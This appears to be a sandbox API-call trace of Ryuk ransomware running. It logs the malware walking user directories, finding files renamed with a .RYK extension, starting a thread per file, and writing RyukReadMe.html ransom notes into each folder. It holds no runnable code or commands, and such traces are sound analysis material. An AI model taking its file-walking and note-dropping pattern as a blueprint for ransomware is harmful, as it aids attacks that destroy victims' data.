	[0277.772] SetLastError (dwErrCode=0x0) 
	[0277.772] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xab8
	[0277.773] GetLastError () returned 0xb7
	[0277.773] CloseHandle (hObject=0xab8) returned 1
	[0277.773] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9411ab30, ftCreationTime.dwHighDateTime=0x1d5b745, ftLastAccessTime.dwLowDateTime=0xa781e0b0, ftLastAccessTime.dwHighDateTime=0x1d5b685, ftLastWriteTime.dwLowDateTime=0x5151c990, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x11c52, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="xHyat.m4a.RYK", cAlternateFileName="XHYATM~1.RYK")) returned 1
	[0277.773] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.774] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xab8
	[0277.775] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.776] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x514d06d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xeaf2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="XZ-jXxH.flv.RYK", cAlternateFileName="XZ-JXX~1.RYK")) returned 1
	[0277.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa70
	[0277.777] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.778] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5308bed0, ftCreationTime.dwHighDateTime=0x1d5bf3d, ftLastAccessTime.dwLowDateTime=0x400f09c0, ftLastAccessTime.dwHighDateTime=0x1d5bad7, ftLastWriteTime.dwLowDateTime=0x514d06d0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xeaf2, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="XZ-jXxH.flv.RYK", cAlternateFileName="XZ-JXX~1.RYK")) returned 0
	[0277.778] FindClose (in: hFindFile=0x29f100 | out: hFindFile=0x29f100) returned 1
	[0277.778] SetLastError (dwErrCode=0x0) 
	[0277.778] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0277.778] GetLastError () returned 0xb7
	[0277.778] CloseHandle (hObject=0x870) returned 1
	[0277.779] FindNextFileW (in: hFindFile=0x29f0a0, lpFindFileData=0x10df00 | out: lpFindFileData=0x10df00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0277.779] SetLastError (dwErrCode=0x0) 
	[0277.779] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0277.779] GetLastError () returned 0xb7
	[0277.779] CloseHandle (hObject=0x870) returned 1
	[0277.779] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\*.*", lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69ba42f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69ba42f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f100
	[0277.780] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x69ba42f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x69ba42f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.780] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0277.780] SetLastError (dwErrCode=0x0) 
	[0277.780] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa34
	[0277.781] GetLastError () returned 0xb7
	[0277.781] CloseHandle (hObject=0xa34) returned 1
	[0277.781] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0277.781] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0277.781] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e570c75, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1da, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0277.781] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x49da51a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1da, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0277.782] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27f0000
	[0277.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac8
	[0277.902] VirtualFree (lpAddress=0x27f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0277.902] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1
	[0277.902] SetLastError (dwErrCode=0x0) 
	[0277.903] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0277.904] GetLastError () returned 0x0
	[0277.904] WriteFile (in: hFile=0xacc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0277.906] CloseHandle (hObject=0xacc) returned 1
	[0277.906] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0278.158] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.158] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.159] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0278.159] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0278.160] SetLastError (dwErrCode=0x0) 
	[0278.160] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\mm5o9xqs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0278.162] GetLastError () returned 0x0
	[0278.162] WriteFile (in: hFile=0xacc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0278.165] CloseHandle (hObject=0xacc) returned 1
	[0278.165] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1
	[0278.165] SetLastError (dwErrCode=0x0) 
	[0278.165] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0278.165] GetLastError () returned 0xb7
	[0278.165] CloseHandle (hObject=0xacc) returned 1
	[0278.166] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0278.390] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.390] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.390] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0278.390] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0278.392] SetLastError (dwErrCode=0x0) 
	[0278.392] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\pmmr5k9k\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0278.395] GetLastError () returned 0x0
	[0278.395] WriteFile (in: hFile=0xacc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0278.397] CloseHandle (hObject=0xacc) returned 1
	[0278.397] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1
	[0278.397] SetLastError (dwErrCode=0x0) 
	[0278.398] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0278.398] GetLastError () returned 0xb7
	[0278.398] CloseHandle (hObject=0xacc) returned 1
	[0278.398] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29eec0
	[0282.475] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0282.475] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0282.476] FindNextFileW (in: hFindFile=0x29eec0, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1f2, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0282.476] FindClose (in: hFindFile=0x29eec0 | out: hFindFile=0x29eec0) returned 1
	[0282.478] SetLastError (dwErrCode=0x0) 
	[0282.478] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.ie5\\rijuql1c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xacc
	[0282.480] GetLastError () returned 0x0
	[0282.480] WriteFile (in: hFile=0xacc, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0282.482] CloseHandle (hObject=0xacc) returned 1
	[0282.483] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1da, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1
	[0282.483] SetLastError (dwErrCode=0x0) 
